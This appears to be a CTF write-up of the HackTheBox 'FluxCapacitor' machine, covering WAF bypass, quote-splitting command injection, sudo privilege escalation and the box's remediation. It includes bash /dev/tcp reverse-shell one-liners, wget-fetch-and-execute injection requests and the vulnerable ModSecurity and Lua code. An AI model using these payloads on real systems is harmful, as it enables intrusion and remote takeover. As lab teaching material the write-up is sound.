HackTheBox.eu – FluxCapacitor

FluxCapacitor was a box that you either loved or hated. I hated it at first but that was simply because I didn’t understand what was going on. After digging into it and getting RCE then going back and understanding how it all works this box is actually really cool and really interesting. I am a bit sad that it is being retired but at same time happy that I can finally talk about how it works and all the information I found. So without further delay lets dig into it.

Tools used:
-nc (optional)
-python/bash scripting (optional)

As with every new target the first thing we need to do is scan it with nmap to see what is running with the command nmap -sVC -oA nmap/initial this will run default scripts and attempt to identify whats running on the various ports.

└──> nmap -sVC -oA nmap/initial
Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-11 13:11 EDT
Nmap scan report for
Host is up (0.073s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION                    
80/tcp open  http    SuperWAF                                  
| fingerprint-strings:
|   FourOhFourRequest:            
|     HTTP/1.1 404 Not Found      
|     Date: Fri, 11 May 2018 17:10:57 GMT

We are only seeing SuperWAF running on port 80. While loading up the site to investigate start a full scan of the box with nmap -p- -T4 -oA nmap/allports

Loading the site up in FireFox we see a pretty bare site.

Checking the page source we actually see some interesting code.

<!DOCTYPE html>
<title>Keep Alive</title>
    OK: node1 alive
        Please, add timestamp with something like:
        <script> $.ajax({ type: "GET", url: '/sync' }); </script>
    FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb<br>
    <em><met><doc><brown>Roads? Where we're going, we don't need roads.</brown></doc></met></em>

Looking at the /sync page however gives us a 403 Forbidden Error. Not sure why but with the info regarding an ajax request perhaps we have the wrong headers or something. I attempted to curl the site to see if we could get anything back and low and behold we do.

└──> curl

It looks to be returning the current timestamp. So something from our HTTP request was causing an issue…. Based on the nmap scan we know that there is a WAF between us and the server so that might be blocking it. I threw the HTTP request into burpsuite repeater and started playing with it.

After a bit of trial and error I found that the issue is that the WAF was blocking off of our User-Agent… simply removing it gives us a valid response.

Cool now what?

Fuzzing! When we find a random web application one of the tools in the tester arsenal is to throw random data at it and see if we can cause it to do things it shouldn’t normally do. We are going to be using wfuzz to try and find hidden parameters in the script. This step while not the most complex can be very frustrating because we do not know what we are looking for. I personally ran through my wordlist at least 5 times before I found a working solution.

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -u{baseline_value}=ls --hc=BBB

Whats going on here is that we are setting up wfuzz to enter in an item from the wordlist replacing the FUZZ text in the URL we give it nothing to complex. They keys in this command is the –hc=BBB and {baseline_value} what we are doing here is letting wfuzz connect once and get response to use as a compare. Then as it tries other items from the list it compares to the baseline query, if similar then skip if not it will tell us without this we are flooded with information. Additionally after running fuzz a few times with no hits I added in a simple bash command to try and get something to return. Leaving this running for a while we end up getting 1 hit opt!

└──> wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -u{baseline_value}=ls --hc=BBB

* Wfuzz 2.2.9 - The Web Fuzzer                         *

Total requests: 220561

ID      Response   Lines      Word         Chars          Payload    

000002:  C=200      2 L        1 W           19 Ch        "baseline_value"
009876:  C=403      7 L       10 W          175 Ch        "opt"

opt gives us a 403 HTTP response which was the same response we got from the WAF when it was blocking our user agent so it is very likely we are on the right track. Now the real fun comes from us trying to figure out how to bypass the WAF filters. The creator of the box actually has two (here and here) different posts regarding WAF bypass using wildcards and string concat which are very informative and useful. I personally couldn’t get much headway with the wildcards so I ended up working with the strings.

I used burp for the remainder of this challenge as the repeater is a really easy place to mess with queries and quickly change based on results. Curl however would work just as well and could be used to complete this. That said, I popped into burp and loaded up /sync?opt=ls and began trying to see if we could bypass the WAF

To begin I tried running commands like ‘l’s breaking things up to get around the WAF filter. It works but it didn’t give code execution like I expected, we get the timestamp.

This is a point in which I know numerous people were stumped and I was as well. However if we take a step back and think about what is going on here we can work this out. Firstly opt as a param is supposed to do something. We don’t know for sure but we can assume it is the time command. So if we begin thinking in terms of other types of code injection such as SQL we need to think of how our parameter is going to be used by the underlying app and what we need to do to escape and bypass it.

In an extremely simple SQL injection scenario let us say we have a web page with parameter ID. The app uses ID to pull posts based on their number so ID=1 would give first ID=2 second etc. The underlying code would take the ID (hopefully sanitized) and then pass it into a SQL statement to query the database.

    post = $_GET['ID'];
    query = "SELECT * FROM news WHERE ID='$post'";

For this code we could SQL inject with a simple OR 1=1. Now we cannot simply append that onto the end of the ID=1 or it will not return any results because there is not ID in the database ‘1OR 1=1’. If the code was setup to handle bad input we would see no error messages just a simple “post doesn’t exist” message. However if we correctly complete the SQL statement we can get full content dump. To do that we first need to close the ID=1 single quote then space and our commands. ID=1′ OR 1=1′ this would effectively be:

SELECT * FROM news WHERE ID='1' OR 1=1;

Which given that 1 is always equal to 1 returns a true and gives us all the posts. Now to apply this back to flux and the /sync page. With this knowledge we need to escape out of the current command to be able to send a second command to the script something like “/sync?opt=’ l’s” If this works as we expect then we should see the directory listing.

We have remote code execution that bypasses the WAF. In playing with burp there are a few things I noticed, most commands seemed to be filtered but whoami isn’t. Additionally we have to ensure we have an EVEN number of single quotes or we get a blank response no time or code execution. Likely we are breaking the script. So with that lets start enumerating the box.

Knowing that this is a CTF box lets go strait for the user flag by searching for text files!

We can see two user accounts in the Home directory, doing a cat on these will give us a little joke and the user flag

From here it is time to try and get root. The natural instinct is to run LinEnum and dig through all that but this box was actually quite strait forward with its privilege escalation.

Sudo -l one of the commands I’ve become use to checking after seeing it in multiple boxes and in both holiday hack exercises the last 2 years, throwing that at the box yields some fruit

HTTP/1.1 200 OK
Date: Sat, 12 May 2018 01:50:51 GMT
Content-Type: text/plain
Connection: close
Server: SuperWAF
Content-Length: 332

Matching Defaults entries for nobody on fluxcapacitor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nobody may run the following commands on fluxcapacitor:
    (ALL) ALL
    (root) NOPASSWD: /home/themiddle/.monit
bash: -c: option requires an argument

We are able to run /home/themiddle/.monit not sure what that is or what it does so lets check.

.monit is a simple bash script that will take in 2 arguments, if the first is cmd then it will attempt to base 64 decode the second and run it as root. Cool, lets get the flag. First we need to b64 encode the string cat /root/root.txt which gives us Y2F0IC9yb290L3Jvb3QudHh0 then simply run the command

sudo /home/themiddle/.monit cmd Y2F0IC9yb290L3Jvb3QudHh0

I kept getting 403 errors from the base64 so I ended up adding the single quotes between each character because it was easier than figuring out which was causing the error.

Congratulations! We have pwned the box… but after reading a thread on the forums where someone claimed you couldn’t get shell to the box I dove deep into this one. The ideas of it really seem cool. So working backwards lets take a look at what is going on.

We will start with root shell which is actually really easy to get we just encode the pentestmonkey reverse shell code to base64 and run it.

└──> echo "bash -i >& /dev/tcp/ 0>&1" | base64

└──> nc -lvnp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 58926
bash: cannot set terminal process group (516): Inappropriate ioctl for device
bash: no job control in this shell

Now that we have root shell lets dig into the box and see what we can find. First I did a search on the website to see what exactly is going on behind the scenes. The config file we need is /usr/local/openresty/nginx/conf/nginx.conf (found that with LinEnum and checking the running nginx process). 2 bits of code from the config are useful to us now the WAF code

modsecurity on;                                                      
location /sync {                                                        
default_type 'text/plain';                                      
modsecurity_rules '                                              
    SecDefaultAction "phase:1,log,auditlog,deny,status:403"      
    SecDefaultAction "phase:2,log,auditlog,deny,status:403"      

    SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"

    SecRuleEngine On
    SecRule ARGS "@rx [;\(\)\|\`\<\>\&\$\*]" "id:2,phase:2,t:trim,t:urlDecode,block"
    SecRule ARGS "@rx (user\.txt|root\.txt)" "id:3,phase:2,t:trim,t:urlDecode,block"
    SecRule ARGS "@rx (\/.+\s+.*\/)" "id:4,phase:2,t:trim,t:urlDecode,block"
    SecRule ARGS "@rx (\.\.)" "id:5,phase:2,t:trim,t:urlDecode,block"
    SecRule ARGS "@rx (\?s)" "id:6,phase:2,t:trim,t:urlDecode,block"

    SecRule ARGS:opt "@pmFromFile /usr/local/openresty/nginx/conf/unixcmd.txt" "id:99,phase:2,t:trim,t:urlDecode,block"

Going through the script we can see that if the User-Agent contains Mozilla/Opera block, this is why our first checks of /sync were erroring out. Then we see a bunch of common characters ;()<>%$* that is expected, next block if we try to type in user.txt or root.txt tricky. More characters to block, then directory traversal .. and ?s so trying to use one of the wildcard methods mentioned in the article /???/?s to try and run /bin/ls will fail. Lastly we see it is importing a whole list of unix commands lets take a look at that and see what we can and cannot do.

root@fluxcapacitor:/dev/shm/.fett# cat /usr/local/openresty/nginx/conf/unixcmd.txt
<tt# cat /usr/local/openresty/nginx/conf/unixcmd.txt                          
ls -al /usr/local/openresty/nginx/conf/
-rw-r--r--  1 root root 10783 Dec  4 16:03 unixcmd.txt

This is actually a huge list with everything from automake, yes, no, cat, library names etc. This is why extra escapes were needed with the b64 encoded text… fun.. now back to the other part of the config the code that is running sync.

content_by_lua_block {                                              
    local opt = 'date'
    if ngx.var.arg_opt then    
            opt = ngx.var.arg_opt
    -- ngx.say("DEBUG: CMD='/home/themiddle/checksync "..opt.."'; bash -c $CMD 2>&1")
    local handle = io.popen("CMD='/home/themiddle/checksync "..opt.."'; bash -c ${CMD} 2>&1")
    local result = handle:read("*a")

Quick glance at the code confirms some of our assumptions.. opt is setup as a local variable that calls the bash command date however if it is fed an argument then we use that instead. from there the script sets up the command to be run similar to our SQL example, it appends the content of opt onto a string in this case executing the program at /home/themiddle/checksync and then pipes that all into bash. We can replicate this by typing it out in the shell we have

root@fluxcapacitor:~# CMD='/home/themiddle/checksync "date"';
CMD='/home/themiddle/checksync "date"';
root@fluxcapacitor:~# bash -c ${CMD} 2>&1
bash -c ${CMD} 2>&1

So with our code injection we were bypassing this by escaping out of the first code chunk and then leaving opt as its own command to be run (I think, I couldn’t replicate this in shell so it might be a nginx quirk I’m not sure). But either way we know how it works. Awesome!

Now for phase 2 we want to try and get a reverse shell as user. Knowing what we do about the commands we can and cannot use and the special symbols we are not going to be able to run it via the /sync page so we are forced to get creative.

In one of the articles there was talk of bypassing IP filter using long IP and other bits, originally I went down that path but turns out it isn’t needed. The machine has wget installed we can test this by passing the command on the /sync page and checking responses (I’m using python SimpleHTTPServer)

└──> python -m SimpleHTTPServer 80
Serving HTTP on port 80 ... - - [12/May/2018 09:15:14] "GET / HTTP/1.1" 200 -

So with that knowledge I created a reverse shell bash script with the intention of sending it over to the machine and then triggering it with sync avoiding all of the WAF filters. Let’s begin

└──> cat index.html

bash -i >& /dev/tcp/ 0>&1

└──> nc -lvnp 443
listening on [any] 443 ...

Simple reverse shell code stored in index.html, it might be possible to have it in a .sh file format but I was getting weird errors and decided to keep it simple. Then setup NC listener and we will try to upload to the box

GET /sync?opt=' w'g'e't' -P /t'm'p/fe't't'
GET /sync?opt=' c'h'm'o'd 777 -R /t'm'p'/'f'e't't/
GET /sync?opt=' /t'm'p'/'f'e't't/'i'n'd'e'x.'h't'm'l'

Three commands and we have shell, first we do a wget and store the output of index.html into /tmp/fett this must be a write enabled destination so /tmp is safe bet. Next chmod the entire /tmp/fett directory and its contents to 777 and then run it.

└──> nc -lvnp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49686
bash: cannot set terminal process group (516): Inappropriate ioctl for device
bash: no job control in this shell
nobody@fluxcapacitor:/$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@fluxcapacitor:/$ echo "winner winner chicken dinner"
echo "winner winner chicken dinner"
winner winner chicken dinner

We’ve done it shell as user/root with flags for both user/root and we fully know how this box works! Now on to how to secure it.

We know the WAF filters are doing some blocking but the opt code appears to be written in a way that we are expecting some code. Potentially as a backdoor by developer or something. If sync is needed for time input then keep it as time input and use proper channels do not accept user input. If user input is needed then we need to filter out single and double quotes. Those are the reason we were able to bypass the filters and get RCE

As for privilege escalations this has two potential fixes. Firstly if the account nobody is a regular user account, it should not be running the webhost that should be relegated to a specific user such as www-data, this would have prevented this specific configuration error. If nobody isn’t a regularly used user account then why does it have access to run any commands as sudo, especially with no password. This is a double fail in security.